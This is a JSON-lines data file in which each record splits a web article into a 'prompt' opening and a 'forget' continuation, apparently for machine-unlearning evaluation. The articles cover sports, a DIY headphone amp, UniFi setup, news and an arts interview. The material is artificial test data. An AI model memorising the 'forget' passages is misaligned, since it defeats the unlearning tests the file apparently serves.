{"prompt": "He is now one of five active coaches in the ACC and one of 15 active coaches in DI to accomplish the feat. RALEIGH, N.C. \u2013 NC State baseball head coach Elliott Avent recorded his 1,000th career win against North Carolina Central Tuesday evening, as the Wolfpack hit a season-high four home runs en route to a 13-0 win at Doak Field at Dail Park. Now in his 28th season as a head coach and 21st at NC State, Avent reaches the milestone to become one of five active coaches in the Atlantic Coast Conference (ACC) and one of 15", "forget": "active coaches among NCAA Division I to accomplish the feat. \"Well, it feels good to win,\" said Avent. \"It was a rough weekend in Boston and it was good to play good tonight. Coach Hart had a talk with the hitters today and I thought they responded tremendously. \"It takes a lot of good players to get 1,000 wins. When I look back on it, I think about Billy Best coaching with me my first five years here and all the things he did and what a great person he is. I think about Chris Combs, Tom Sergio, and all the players that came through here. I also think about Chris Hart, he's been with me for thirteen years and he's been unbelievable and loyal, and he works harder than anybody I know. It just makes me feel good and proud when I think about all the people that I've worked with all these years.\" NC State Highlights NC State jumped out to an early lead in the contest, scoring at least one run in four of the first five innings. Joe Dunand hit a sacrifice fly to center field to plate the first run of the game in the bottom of the first and the Wolfpack extended the lead with four runs in the second. Evan Mendoza hit an RBI double to right center and later scored on a wild pitch. After a fielding error on NCCU and a hit-by-pitch, Brad Debo tripled to deep right field to drive in two runs and he scored on a passed ball to make it 5-0. The Wolfpack hit three home runs in the bottom of the fourth to pull away from the Eagles. Josh McLain smacked the first of the inning on an 0-2 pitch over the left field wall. After"}
{"prompt": "DIY Audio Home The \"NuHybrid\" Headphone Amp - Hybrid headphone amp using the Korg Nutube (Note most photos are hyperlinked to full resolution photos). I've made some updates to the Mouser BOM due to a few items being out of stock for an extended period. The power switch, and two electrolytic capacitors, have been swapped for parts that are compatible and in stock (at least as of today). This is a hybrid headphone amplifier that uses the Korg Nutube 6P1. It's based somewhat on the original \"Millett hybrid\" design that I published way back in 2002. Like the original, this", "forget": "one can be built as an open PCB, mounted into a plastic base, with the parts (and glowing Nutube) exposed for all to see. Of course, you could also package it in a normal case if you wanted to. Also like the original, it uses a low-voltage tube stage to do the voltage amplification, and solid-state circuitry (this time an OPA551 opamp connected as a follower) to drive the current into the headphones. The tube used here is the new Korg Nutube 6P1. The Nutube is a dual, very low power, directly-heated triode tube. It is built using a process originally used for Vacuum Fluorescent Displays (VFDs) - that is why you can see a bluish-white glow when the tube is powered up. I've been working with the folks at Korg in Japan for a while with this part, and use it in the Apex Sangaku headphone amplifier. I also arranged with Korg to distribute the 6P1 to DIYers and small OEMs. To that end I created www.nutube.us. You can find additional info on the 65P1 there, including the full datasheet. The entire thing, including power supply, knob, etc. will cost you about $116. I am basically giving away the PCB for free with a Nutube in order to try and generate some interest in it. Like the DIY Butte headphone amp, I want this to be a very easy project for somebody who has little electronics experience. To make it as easy as possible, I put together a comprehensive instruction manual, as well as a BOM (parts list) on Mouser's website, so it makes ordering the parts simple. More on that a bit further down the page... The Circuit (Download a full size schematic in PDF form) The input signal comes from RCA jacks, through a volume control pot,"}
{"prompt": "Hey! Listen! This post is part of a series on the Ubiquiti EdgeRouter Lite. Check them all out! Introduction As you know, I love my Ubiquiti EdgeRouter Lite. Since I bought it, I\u2019ve been wanting to purchase one of the UniFi wireless APs ever since I saw the Ars Technica review of them. I ended up picking up the UniFi AC Pro on a Black Friday deal on Jet.com. The UniFi AP itself does not have a web interface (however, you can SSH to it). To manage the APs, you need to use the UniFi controller software. The software is", "forget": "only needed for the initial setup, and can then be turned off afterwards (which means you can do the setup on your laptop, then disable the software after the initial setup). However, if you want to enable statistic gathering or guest portal, the controller software needs to be running at all times. The controller software is available for Windows, Mac, Linux, which means it\u2019s perfect to run on a small Linux server (like a Raspberry Pi 3). Controller setup Installation I\u2019m going to assume you\u2019re running this on a Raspberry Pi 3, running Raspbian. However, any Debian-based distribution should follow the same instructions. First, we need to add the repository to apt. echo \"deb http://www.ubnt.com/downloads/unifi/debian stable ubiquiti\" | sudo tee /etc/apt/sources.list.d/100-ubnt.list Note \u2013 You can also specify the version of UniFi to use, as this commenter did, since the stable repository is still on v4. Thanks for submitting this! Then, add the GPG key. sudo apt-key adv --keyserver keyserver.ubuntu.com --recv C0A52C50 Next, update your repositories and install Unifi. sudo apt-get update && sudo apt-get install unifi Now, start Unifi. sudo systemctl enable unifi sudo systemctl start unifi Finally, we need to disable MongoDB, since UniFi will run its own instance. sudo systemctl stop mongodb sudo systemctl disable mongodb Package hold If you read around r/Ubiquiti and the UniFi forums, you\u2019ll learn that the controller releases (and AP firmware) can be hit-or-miss. Because we\u2019ve added the UniFi repository, every time we do a sudo apt-get update && sudo apt-get upgrade , we might update the UniFi controller software, even if we don\u2019t want it updated. To get around this, we\u2019ll hold back the unifi package from being updated automatically. sudo apt-mark hold unifi To verify it is held back, use dpkg. sudo dpkg -l | grep ^h Here, you can see"}
{"prompt": "The Apothecarium, a cannabis dispensary set to open in Berkeley, is in danger of losing its permit because of its landlord\u2019s refusal to lease the premise after the dispensary has paid more than $145,000 to secure the premise since 2015, according to a lawsuit. BTHHM Berkeley LLC, owner of The Apothecarium, filed the lawsuit May 30 against Stewart Johnston, the landlord of the dispensary\u2019s intended Berkeley location on 2578 Shattuck Ave. for alleged \u201cbreach of contract\u201d and \u201cother bad faith actions,\u201d according to the lawsuit. BTHHM Berkeley LLC and Landmark Real Estate Management, on behalf of Johnston, entered into a", "forget": "letter of intent in February 2015 to lease the property, the lawsuit alleges. The lawsuit also states that the letter of intent clearly outlined the use of the premise as a marijuana dispensary, after receiving approval by the city. In September 2016, The Apothecarium became one of two marijuana dispensaries unanimously granted a permit by City Council after the city changed the legal limit of medical marijuana dispensaries from four to six. The Apothecarium and Berkeley Compassionate Care Center were selected out of five dispensary applicants. As location of the dispensaries was one of the factors considered in selection, by refusing to allow possession of the premise for months after receiving permit, the dispensary may lose its permit according to the lawsuit. In addition, the lawsuit states that BTHHM has spent more than $400,000 over the last two years, which includes $140,000 in rent toward Johnston, and additional fees to secure the location and obtain its permit. Johnston has insisted on making changes to terms which were agreed upon, which includes raising the base rent from $6,400 to $12,600 every month, raising the security deposit from $12,800 to $50,000 and making structural improvements to the property which is estimated to cost $700,000, according to the lawsuit. \u201cJohnston\u2019s actions since the Permit was issued make abundantly clear that Johnston has absolutely no intent of following through on his obligations under the Agreement to deliver passion of the Premises or execute a lease with BTHHM,\u201d the lawsuit reads. City Councilmember Kriss Worthington said, however, that there have been cases, such as with the Berkeley Permit Group, in which a dispensary relocates without losing its permit as long as they go through the standard procedure. \u201cI hope the sides can work out a compromise,\u201d Worthington said. \u201cI would be happy to help facilitate"}
{"prompt": "A Palestinian UN worker accused by Israel of aiding the Hamas terrorist group was sentenced to seven months\u2019 jail on Wednesday, his lawyer said, in a plea deal that will see him released soon. Waheed Borsh was convicted of \u201crendering services to an illegal organization without intention,\u201d his lawyer Lea Tsemel told AFP. With time already served, he is expected to be released on January 12. The case centered on accusations that rubble in Gaza under the responsibility of the United Nations Development Program (UNDP) was misused by the terrorist group Hamas that controls the enclave. Get The Times of", "forget": "Israel's Daily Edition by email and never miss our top stories Free Sign Up The engineer from Jabaliya in northern Gaza, who worked for the UNDP, was arrested on July 16. According to the Shin Bet security service, Borsh was recruited by a Hamas member to \u201credirect his work for UNDP to serve Hamas\u2019s military interests.\u201d During his interrogation, Borsh told investigators that in 2014, he was directed by Hamas to \u201cfocus on his work in the UNDP in a way that would allow Hamas to extract the greatest possible benefit from him,\u201d the Shin Bet said at the time. The UNDP has operated in the West Bank and Gaza since the late 1970s. In recent years, its Gaza branch has focused on rebuilding the homes and businesses destroyed in the conflicts between Israel and Hamas. In August, Borsh was charged with diverting 300 tons of rubble from a UNDP project in the Gaza Strip, run by Hamas, to build a jetty for the Islamist movement\u2019s naval force. After reviewing the charge sheet, the UNDP challenged Israel\u2019s allegations and said Borsh diverted the rubble under instructions from the Palestinian Authority. Tsemel stressed that her client had been convicted only of unintentionally aiding Hamas by \u201cmoving some rubble.\u201d \u201cThe prosecution claimed that he should have checked better as this could have helped Hamas.\u201d The UNDP said it had \u201czero tolerance for wrongdoing\u201d, but that the case did not prove deliberate intent. \u201cThis outcome confirms that there was no wrongdoing by UNDP,\u201d the body said in a statement. UN officials argued that Borsh, as a UN employee, may qualify for immunity from prosecution and requested that they be allowed to visit him in jail. Israel however, rejected the UN request, saying \u201cwhoever assists a terror organization cannot hide behind a claim of"}
{"prompt": "In Local News, Public Transport / By Anthony Lim / 7 December 2016 10:22 am / 46 comments It looks like taxi drivers may have lost the champion of their cause. According to a Malay Mail Online report, Big Blue Taxi Services\u2019 owner Datuk Shamsubahrin Ismail has had a change of heart and is now backing the legalisation of ride-sharing services. He announced the turnaround after his company was supposedly robbed of RM8,000 by a driver three days ago. The driver, a man in his 50s and who had driven for Big Blue Taxi for six years, has since disappeared.", "forget": "\u201cI have helped him out so many times and this is how he repays me,\u201d Shamsubahrin said. He had lodged a police report and will be taking the taxi company, which the missing driver had obtained his permit from, to court. The case will be filed under Section 43 of the Land Public Transport Act Section, which states that a company can be held responsible if a taxi driver is found guilty of any wrongdoing. Shamsubahrin claims this is the first time any taxi company is being brought to court under the section. \u201cThe existing law we have is already strong but Land Public Transport Commission must be more effective and proactive in ensuring that we don\u2019t allow unethical and immoral people to work as taxi drivers,\u201d he explained. With regards to ride-sharing services, Shamsubahrin said that because taxi drivers were unfazed by the competition from Uber and Grab by refusing to change, he was urging the government to speed up the process of regulating them. \u201cI support the approval of Uber and GrabCar services,\u201d he stated. This is a stark contrast to the stand taken previously. In October, he had said that the government\u2019s idea of encouraging aspiring ride-sharing drivers with a RM4,000 rebate to purchase a Proton Iriz was a clear indicator of the government\u2019s intention to wipe out the taxi industry in favour of ride-sharing companies. \u201cYou said you want to transform the taxi industry, but we saw nothing from the budget that was helpful to the taxi industry. Instead you promote the people to drive Uber,\u201d he had then said. He also took a swipe at the government\u2019s initiative in handing out 12,000 individual permits to qualified taxi drivers, saying the policies appeared to be half-baked. \u201cThere is nothing concrete. If they want to really help"}
{"prompt": "Jimmy McMillan is right. The candidate of the Rent Is Too Damn High Party may have lost the New York mayoral election to Bill DeBlasio. But it\u2019s true \u2014 in New York and much of the United States, the rent really is too damn high. This graph, based on 2012 data by the consumer expenditure survey of the Bureau of Labor Statistics, breaks down consumer expenditures by pre-tax income: Advertisement: As a percentage of income, many expenditures are the same across income groups \u2014 in part because social programs for the poor like Medicaid and food stamps limit out-of-pocket costs", "forget": "on food and health care for low-income Americans. But spending on housing as a share of income increases as income declines \u2014 only 29.9 percent for the highest 20 percent, housing costs are 37.6 percent for the second 20 percent and 39.9 percent for the lowest 20 percent. The classic rule is that you should not spend more than 30 percent of your income on housing, whether in the form of rent or a mortgage on a house or condo. But the polarization of income in the U.S., accompanied by the creation of mostly low-paying jobs, has made that prudent standard impossible for a growing number of Americans to meet. The problem was worsened, but not caused, by the Great Recession. Even before the economic downturn, according to Harvard\u2019s Joint Center for Housing Studies, the share of \u201ccost-burdened\u201d renters shelling out more than 30 percent of their pre-tax income to landlords was rising until nearly half of all renters were cost-burdened. The ratio of renters who pay more than 30 percent of their incomes in housing costs has risen from 1 in 4 in 1960 to 1 in 3 in 1980 to 1 in 2 today. Neither private supply nor public subsidies have compensated for rising renter stress. Let\u2019s start with the supply side. To spend 30 percent or less of a $15,000 income, a renter would have to spend no more than $375 a month on shelter. But in 2011, according to the Joint Center for Housing Studies, the median monthly rent was more than $1,000. Fewer than 5 percent of rental units rented for less than $400 and fewer than 34 percent for less than $800. Nor has social policy kept up. Low-income renters in the U.S. are helped by a patchwork of programs. These include the oldest"}
{"prompt": "These discussions will continue in coming weeks with other Times editors and reporters. Translating the Paper to the Web Q: I recently had the opportunity to have lunch with the publisher of the local daily paper here (there is only one local daily paper here). I told her of my preference to get my local and national news online, browsing several news sites as a part of my morning routine. However, I quickly discovered that I was missing important stories that had prominent placement in the print version but were impossible to find in the online version. In trying to", "forget": "explain my difficulty with her site, I could only think of The Times as an excellent example of online news reporting. So, my question is, what makes your site such a great online version of your print product? Where are they going wrong? Why can\u2019t I explain it clearly to someone else (don\u2019t answer this)? Also, you use a serif font that I think is difficult to read in general, although it does not bother me on your site. Why did you choose what I think is such an non-traditional font for your site? A: First, thanks for the kind words. Whatever success we've had with making NYTimes.com a useful and engaging source for online news, in my opinion, comes from realizing that we're not just trying to re-create what's available to readers in the printed newspaper. Rather, we're trying to create something that's true to this medium, that borrows the best of what works in print and that takes advantage of the unique aspects of digital media. This means we pay a lot of attention to how people use our content online. That is, not just how they read it, but how they make use of it: how they might scan the page haphazardly rather than diligently reading from top to bottom; what parts of the page they look to first and last; what they expect to change from visit to visit; which visual cues are meaningful for them and which design flourishes they find useless. Advertisement Continue reading the main story There are a multitude of factors like these that we\u2019re continually evaluating, though I admit that as an online business we\u2019re certainly not alone in being mindful of them. I think what we do differently from any number of other sites, whether established news organizations or young"}
{"prompt": "C track: compiling C programs. It is important to understand that while some computer languages (e.g. Scheme or Basic) are normally used with an interactive interpreter (where you type in commands that are immediately executed), C doesn't work that way. C source code files are always compiled into binary code by a program called a \"compiler\" and then executed. This is actually a multi-step process which we describe in some detail here. The different kinds of files Compiling C programs requires you to work with four kinds of files: Regular source code files. These files contain function definitions, and have", "forget": "names which end in \" .c \" by convention. Header files. These files contain function declarations (also known as function prototypes) and various preprocessor statements (see below). They are used to allow source code files to access externally-defined functions. Header files end in \" .h \" by convention. Object files. These files are produced as the output of the compiler. They consist of function definitions in binary form, but they are not executable by themselves. Object files end in \" .o \" by convention, although on some operating systems (e.g. Windows, MS-DOS), they often end in \" .obj \". Binary executables. These are produced as the output of a program called a \"linker\". The linker links together a number of object files to produce a binary file which can be directly executed. Binary executables have no special suffix on Unix operating systems, although they generally end in \" .exe \" on Windows. There are other kinds of files as well, notably libraries (\" .a \" files) and shared libraries (\" .so \" files), but you won't normally need to deal with them directly. The preprocessor Before the C compiler starts compiling a source code file, the file is processed by a preprocessor. This is in reality a separate program (normally called \" cpp \", for \"C preprocessor\"), but it is invoked automatically by the compiler before compilation proper begins. What the preprocessor does is convert the source code file you write into another source code file (you can think of it as a \"modified\" or \"expanded\" source code file). That modified file may exist as a real file in the file system, or it may only be stored in memory for a short time before being sent to the compiler. Either way, you don't have to worry about it, but"}
{"prompt": "Steven McCloskey, co-founder of a new virtual reality startup, manipulates objects in an immersive environment. Virtual reality (VR) headsets such as the Oculus Rift will line store shelves this holiday season, and UC San Diego alumni startup Nanome, Inc. plans to capitalize on that by creating VR apps for the consumer market, the classroom, and beyond. Nanome co-founder Steven McCloskey was part of the first graduating class of NanoEngineering at UC San Diego when he received his bachelor\u2019s degree in 2015. Frustrated by the lack of tools available to nanoengineers for complex 3D modeling and simulation at the nanoscale, he", "forget": "set out to try and rectify the problem. He and colleagues built the first molecular visualization, modeling and simulation tool for today\u2019s VR platforms called nano-one. The application allows users to build molecules with carbon, oxygen, nitrogen and hydrogen atoms. \u201cOur goal is to provide the tools necessary to help people build new proteins and molecules and eventually also simulate their interactions,\u201d said McCloskey. \u201cYou can see how the world works at this fundamental level, and re-make it.\u201d Why VR? Everything is made out of atoms\u2014cosmetics, computer hardware, everything. Take a chair, for example. A chair can\u2019t just look like a chair, it has to act like one. If you\u2019re going to be manipulating things in 3D, you also need to be able to change the material properties of an object, which is dictated by structures at the nanoscale level. McCloskey said he believes nanoscale virtual reality represents the future of engineering. \u201cUC San Diego is where this has to happen\u2014we have a NanoEngineering department, VR experts, Protein Databank, interdisciplinary researchers, and we\u2019re located in Biotech Beach,\u201d he said. Nano-one is now being tested in the UC San Diego Chemistry Department and in the consumer market for workflow integration, modeling precision, and optimal pattern-recognition and discovery. As nano-one was being developed, McCloskey and his colleagues had an idea for another VR tool that would help engineers with math. \u201cWhen I was in Vector Calculus as a NanoEngineering major, I wanted better 3D graphics to go along with the instruction,\u201d said McCloskey. Nanome co-founders Steven McCloskey and Keita Funakawa The team piloted a VR 3D-graphing calculator in Math20E over the summer. The calculator, called Calcflow, features intuitive ways for students to learn the foundations of vector calculus. \u201cWhen you put on the headset, you can manipulate vectors with your hands, and"}
{"prompt": "The Los Angeles River is on the verge of a new era. In the few years since the flood control channel was reclassified as a \u201cnavigable waterway,\u201d the region has re-embraced its oddball amalgam of concrete and nature, which winds roughly 51 miles from the San Fernando Valley out to the ocean in Long Beach. A $1-billion-plus plan to restore 11 miles north of Downtown LA is (slowly) working its way through federal approvals. Famed architect Frank Gehry is working with Los Angeles County officials and numerous nonprofits and stakeholder groups to create a comprehensive plan for the whole river.", "forget": "The river was one of the selling points in the city\u2019s winning bid for the 2028 Olympics. Developers are still clamoring to build along the river\u2019s banks. The last time the LA River was reborn it was the late 1930s, and it had been drowning the young city periodically since its birth. At some points, the river was just a trickle; in other parts, it was uncontrollably wild, and flooded frequently and devastatingly. After a terrible flood in March 1938, the U.S. Army Corps of Engineers began work to lower the riverbed, widen the channel, and choke the whole thing in \u201ca continuous trapezoidal concrete channel to carry the river from Elysian Park to Long Beach,\u201d as described in The Los Angeles River: Its Life, Death, and Possible Rebirth. Gehry thinks the LA River can be great again with its concrete still intact; the Army Corps aims to remove at least some of it. In 2013, just as the LA River\u2019s moment was beginning, we looked at 25 photos from the LA Public Library\u2019s collection showing just how unrecognizable it was before it was paved. Peter Bennett, who runs the Los Angeles River Photos blog, found where nine of those photos were taken, and, using his iPad to match up with the originals, took the same shots of the river as it is in the 21st century. In an email, Bennett writes: The idea was to get as close to the original spot the older photos were taken, and try to match up the lens and framing with the original\u2026 There was a sense of time travel as I viewed the landscape as it is today and... as it was back in the \u201930s. The visual contrast was quite striking, and the changes apparent in the 75 years or so"}
{"prompt": "Palestinians at the Gaza border fence, June 2, 2010 AP Like a robot lacking in judgment, stuck on a predetermined path - that's how the government is behaving in its handling of the aid flotillas to the Gaza Strip. The announcement by Prime Minister Benjamin Netanyahu at the security cabinet meeting Tuesday that the blockade of Gaza will continue and that Israel will keep on using force to prevent ships from entering Gaza's port suggests that the foolishness continues and no lessons have been learned from this week's incidents. The Netanyahu-Ehud Barak government is oblivious to the impact of the", "forget": "failed takeover of the Turkish ship the Mavi Marmara, which ended with the killing of nine passengers. It is oblivious to the international condemnation of this country's actions - Israel once more finds itself isolated. Most serious of all, it is oblivious to the damage it is causing to Israel's strategic interests. The lethal operation is making it difficult for the U.S. administration to rally a majority in the UN Security Council for new sanctions against Iran and is eroding the international front against the Islamic Republic, which the United States has put together with great diplomatic effort. The naval operation challenges the negotiations with the Palestinians and weakens the bargaining ability of Netanyahu vis-a-vis U.S. President Barack Obama and Palestinian President Mahmoud Abbas. The operation also ruins essential relations with Turkey and will cost Israel in lost tourists and export deals. Instead of taking the initiative and developing a political exit strategy from the crisis, Netanyahu and Barak are digging themselves deeper into the quagmire. The government apparently believes its own public relations, according to which Israel was the victim of \"Al-Qaida supporters.\" If this is the case, it must immediately dismiss the heads of the security and intelligence services who failed to issue warnings in time and did not prepare accordingly to meet this new and dangerous enemy. How does Israel plan to deal with the Irish ship the Rachel Corrie, which is on its way to the Gaza Strip? Will it also argue that the Irish government, which has given this ship its backing, is a member of Al-Qaida? Instead of insisting on continuing a policy that has failed, Netanyahu should pull himself together and minimize the damage of the naval operation. He must appoint a commission of inquiry that will investigate what happened and lift the"}
{"prompt": "It was a rock concert without the guitar. Skrillex jammed on a computer rather than a keyboard, playing a synthetic bass rather than a drum set. His avatar on the LED screen behind him made Skrillex seem larger than life, as if he were a puppeteer controlling the audience, which was sprinkled with neon, glow sticks and flashing finger lights. During his 300+ shows this year, Sonny Moore \u2014 as Skrillex \u2014 commanded the attention of a rock star but played the electronic music of an underground rave. \u201cThat\u2019s what people are into, the rock star DJ,\u201d said Alex Lin,", "forget": "DJ and light producer with student company EasyLove Records at UC Santa Barbara. \u201cIt\u2019s more about the experience, the rock star DJ that puts on a good show.\u201d Americans enTRANCEd And people are into it. Skrillex is the first-ever dance artist to be Grammy-nominated for Best New Artist. He received four other Grammy nominations, and three went to house music producer deadmau5. Although the artists have been around for a few years, the difference is that in 2009 deadmau5 was confined to Lollapalooza\u2019s electronic tent, Perry\u2019s, and in 2011 he headlined the main stage. Like deadmau5, Electronic Dance Music (EDM) \u2014 though some people still mistakenly call it \u201ctechno\u201d \u2014 has graduated from the kiddie table. \u201cPerry\u2019s tent used to be small, but this year it was massive. Every year it gets bigger and bigger,\u201d said Chris Miller, who works at WaveMachine Labs, a Chicago-based music software company, and graduated from Northwestern University\u2019s now extinct music technology major. EDM is gaining momentum, especially with the 18-21 crowd. Electric Daisy Carnival (EDC) drew an audience of 230,000 this summer in Las Vegas, and this spring, the first-ever electronic music spring break for college students, Electro Beach, will take place in Puerto Vallarta, Mexico. For the first time in history, EDM is in the American youth mainstream. The EDM Dictionary EDM: Electronic Dance Music (NOT techno). Techno: One genre of EDM, characterized by a more minimalistic and repetitive production style. House: Another style of EDM with a faster tempo, usually between 120 and 130 beats per minute. Trance: Style of EDM with slower, melodic build-ups and hypnotic qualities (hence the term \u201ctrance\u201d). It is usually between 130 and 150 bpm. There are many subcategories of trance, as with most genres of EDM. Dubstep: Genre of EDM characterized by around 70 bpm with"}
{"prompt": "EU leaders have said there will be no talks on Britain\u2019s future relationship with the bloc until the UK government makes \u201csufficient progress\u201d on the Brexit divorce, including settling its bills and citizens\u2019 rights. \u201cOnce, and only once we have achieved sufficient progress on the withdrawal, can we discuss the framework for our future relationship,\u201d said Donald Tusk, the European council president. \u201cStarting parallel talks will not happen.\u201d Speaking as the EU\u2019s draft negotiating guidelines were sent to national capitals, Tusk said the EU27 were united. Talks would be \u201cdifficult, complex and sometimes confrontational,\u201d he said, but the bloc would", "forget": "not seek to punish Britain. \u201cBrexit itself is already punitive enough,\u201d he said. 'No surprises really': politicians react to Tusk's draft EU negotiating guidelines Read more The guidelines make clear it will be for the council to decide when \u201csufficient progress\u201d has been made on the withdrawal deal, whose priorities will include the rights of EU citizens in the UK and British citizens on the continent, and agreement on Britain\u2019s legal and budgetary commitments and liabilities. Tusk rejected the description \u201cBrexit bill\u201d and said it was only fair that the UK paid what successive governments had signed up to. \u201cIt is only fair towards all those people, communities, scientists, farmers and so on to whom we, all the 28, promised and owe this money,\u201d he said. The UK\u2019s only land border with the EU, between Northern Ireland and the Republic, will also be a key priority in the divorce deal, with the EU calling for \u201cflexible and imaginative solutions ... with the aim of avoiding a hard border\u201d. Speaking alongside Tusk, Joseph Muscat, the prime minister of Malta, said the negotiations would undoubtedly be tough, \u201cbut it will not be a war\u201d and the two sides needed to remain friends. The draft guidelines may well be revised over the next month, but are as likely to be strengthened as they are weakened. Tusk will chair a summit of the EU\u2019s 27 prime ministers and presidents at the end of April to finalise the bloc\u2019s negotiating position before talks with the UK begin. The European commission will then draft its more detailed negotiating directives, which are expected to be adopted at a meeting of European ministers on 22 May, after which formal talks between the EU\u2019s chief negotiator, Michel Barnier, and Britain\u2019s secretary of state for exiting the EU, David Davis,"}
{"prompt": "Even as the freshly minted Obama administration was pledging a \"new era of open government\" in 2009, officials were quietly adding new rules that had the potential to slow down public requests for documents. Those rules, detailed in memos reviewed by FoxNews.com, could even trip up present-day efforts to dig into the IRS' practice of targeting conservative groups. The rules detailed in the memos largely emanated from the Treasury Department and, specifically, the IRS. \"It would seem to repudiate this notion that this is going to be the most transparent government in history,\" said Dan Epstein, executive director of Cause", "forget": "of Action, the group that first obtained the memos. [pullquote] The memos follow reports about the administration's use of private email accounts, and coincide with ongoing debate about government transparency -- particularly with recent disclosures about widespread surveillance programs. More On This... Epstein said the document request procedures are \"troubling\" since the media are \"really concerned about the limits of government power.\" According to the documents, the Treasury Department in 2009 set up an additional review for requests involving \"sensitive information,\" which covered a broad range of items. The White House sometimes got involved, slowing down the process. The IRS also acknowledged having another review process for requests from \"major media,\" but not for requests from private individuals. Members of the media often try to obtain documents not readily available by citing a law known as the Freedom of Information Act. The Treasury Department, though, in late 2009 erected speed bumps for some so-called FOIA requests. The rules were detailed in a November 2010 memo and report sent from the Treasury inspector general to Sen. Charles Grassley, R-Iowa. The documents showed the Treasury Department set up an additional \"formal level of review\" for requests for \"sensitive information.\" This category would cover everything from emails to memos to calendars to travel logs for top department officials, legal advisers, senior advisers and others. Once a request was deemed \"sensitive,\" it would then go before a \"review committee,\" made up of officials from several Treasury offices. Further, the document said a special report would be prepared for IRS requests from \"major media.\" This covers requests from traditional news media as well as bloggers, and according to the report covered information that \"was likely to attract news media or congressional interest, involved large dollar amounts, or involved unique or novel issues.\" This report would"}
{"prompt": "When you\u2019re ready to give the green light on your explainer video project, you want to make sure that you choose the right company. Now, we know that our team is more than equipped to handle your production needs, but to be honest, we also have some pretty talented competitors. Here\u2019s our list of the top 10 explainer video production companies to choose from (just in case we happen to pack up and move to Mars, you\u2019ll have some good options). Of course we are a bit biased here, taking the top spot and all, but we are just that", "forget": "confident in our abilities to produce killer videos. Our creative team is super talented, and dedicated to delivering exceptional productions that clients are more than happy to showcase. We pay close attention to detail, and every script and animation is triple checked against a rigid set of quality standards. Here\u2019s a cool video that we produced for Paramount Studios. Got a project you want to discuss? Click here. Firestarter Video is an excellent production house based out of Hollywood, California. They have produced several explainer video\u2019s for top companies including Magicjack and United Healthcare (UHC). Their work is known throughout the industry, and the creative team is just awesome. Here\u2019s a neat little number that shows off their explainer video skills. Argentina based Yum Yum Video is number three on our list because of their high quality productions, and impressive portfolio. They have produced explainer videos for companies covering all facets of business, and the work is crisp and effective. Yum Yum also features a helpful blog for anyone looking for information on video marketing in general. This explainer video is a shining example of their fine work. Bread n Beyond has produced explainer videos for top companies including Paypal and Glass Door. Their work is beyond impressive, and they have the clientele to back up their credibility. With over 1,900 productions under their belt, it\u2019s safe to say that clients are in good hands with this company. Here\u2019s a sample of what you get with Bread n\u2019 Beyond. New York based Big Drop Inc. produces stunning explainer videos. The company has an extensive portfolio that includes several animated and non-animated explainer videos (and a killer website for clients to browse.) This short number is a prime example of just how well they produce whiteboard explainer videos. mywebmobile.com from BigDropInc.com"}
{"prompt": "Image caption Andrew RT Davies (L) and Alun Cairns (R) will not take part in the debate A row has erupted between senior Welsh Tories after it emerged neither Welsh Conservative leader Andrew RT Davies nor Welsh Secretary Alun Cairns were taking part in Tuesday's BBC Wales leaders' debate. The Tories were represented by education spokesman Darren Millar AM. Mr Cairns said it was intended that Mr Davies would be the representative. But a spokesman for Mr Davies accused Mr Cairns of being \"unwilling\" to take part himself. He said Mr Davies had been happy to take part, but on", "forget": "the basis that one candidate took part in the three Welsh TV debates. It had been expected that Mr Davies would take part in the earlier Ask The Leader BBC Wales debate, but prior to broadcast, the Conservative Party decided to put up Mr Cairns. It is understood Mr Davies - who had taken part in the ITV Wales debate earlier in May - is on holiday. The other parties put up their campaign leaders - Labour's Carwyn Jones, Plaid Cymru's Leanne Wood, Lib Dem Mark Williams and UKIP's Neil Hamilton. Image caption Darren Millar is education spokesman for the Conservatives in the Welsh Assembly Mr Cairns told BBC Radio 2's Jeremy Vine show that it was \"always intended\" that Mr Davies would be the debate's Conservative representative. The Welsh Secretary said he himself was \"never\" going to be part of the programme, and claimed Mr Davies could not be there for personal reasons. He said he was confident Mr Millar would do an \"excellent job\". Mr Cairns appeared for the Conservatives in last week's series of Ask the Leader programmes on BBC Wales. Mr Cairns' comments prompted a critical statement from a spokesman for Andrew RT Davies. He said: \"With the Secretary of State unwilling to take part in the General Election debates, Andrew was more than happy to fill in - but that agreement was reached on the basis that it would be best for the party to put forward one candidate for all of the programmes. \"Given that Alun was willing to take part in the Ask the Leader programmes, Andrew felt that it was no longer necessary to return from celebrating his wedding anniversary to do the debate. \"It's a bit of a surprise that Alun isn't taking part tonight, but our Policy Director Darren will"}
{"prompt": "Michael Hogan: Brian, your speech at the recent Sandford St Martin Trust awards for religious broadcasting said TV was blighted by \"ever-increasing vulgarity and ever-lower intellectual levels\". Strong words. Did you have a particular programme in mind? Brian Sewell: Nothing and everything. Now it all conforms to a formula. Even Islam: The Untold Story (C4), to which we gave one of the awards, immediately descended into a travelogue and became virtually indistinguishable from anything in which Michael Palin rambles around. Religious broadcasting, all broadcasting, ought to be better than that. We looked at David Suchet's In the Footsteps of St", "forget": "Paul and again, it just turned into a travelogue. Someone in the city of Tarsus said, \"St Paul's father was a tentmaker here.\" Off at once goes Suchet to weave some canvas himself. Does someone sitting in a room in the 21st century weaving flax tell us anything about St Paul? It's childish and idiotic, but fits that Michael Palin formula which the BBC inflicts on everything. MH Not everything, surely? You talked in your speech about the \"dread sameness\" of the BBC, but the corporation has eight TV channels with a vast variety of programming \u2013 and a lot of it's brilliant. BS Yes, I'm not really talking about the entertaining things. Hateful though I find them, the BBC does those perfectly well. But anything they tackle that is intellectual, historical, biographical, cultural\u2026 It all turns into a travelogue of some kind. Whether it's Andrew Graham-Dixon on the Italian Renaissance or that rat-faced young man [Simon Reeve] wandering round Australia, it's the same, because this is what the BBC asks for. The channel controllers are of little education and no background. The editors are very technically clever but know nothing about the topic, so they fit everything to this comfortable format. We deserve better. It's patronising rubbish. MH But the Beeb's historical programming is admirable \u2013 all the way from CBBC's superb Horrible Histories to BBC2's recent Tudor season. BS All those Simon Schama and David Starkey programmes inevitably turn into walking about and arm-waving. Poor Mary Beard, trundling around the ruins of Rome on a bicycle. Why? These devices even creep into news bulletins: some wretched reporter suddenly emerges from behind a car or tree and walks towards the camera. For God's sake, you have news to communicate. Stand still and tell us what it is. I don't"}
